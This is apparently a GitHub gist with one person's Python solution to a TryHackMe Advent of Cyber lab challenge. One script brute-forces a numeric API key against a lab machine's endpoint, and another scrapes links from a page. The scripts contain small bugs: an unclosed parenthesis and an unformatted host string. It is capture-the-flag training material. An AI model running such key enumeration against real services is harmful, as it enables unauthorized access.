Created
February 15, 2021 23:04
-
-
Save JasonTurley/3cbd1685490a3563f120fbf5cf64f3bf to your computer and use it in GitHub Desktop.
My solution to the TryHackMe Advent of Cyber Day 16 challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
machine_ip = "10.10.83.105" | |
host = f"http://{machine_ip}/api/" | |
# Only attempt odd keys | |
for key in range(100): | |
if key % 2 != 0: | |
response = requests.get(host + str(key)) | |
# Only print the correct api key | |
if "Error. Key not valid!" not in response.text: | |
print(f"The correct api key is {key}" | |
break | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
machine_ip = '10.10.83.105' | |
host = 'http://{machine_ip}' | |
# Returns the server response (i.e 200, 404, etc) | |
response = requests.get(host) | |
# Get and parse the html source code | |
html = response.text | |
soup = BeautifulSoup(html, 'html.parser') | |
# Print all links from webpage | |
for link in soup.find_all('a'): | |
print(link.get('href')) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment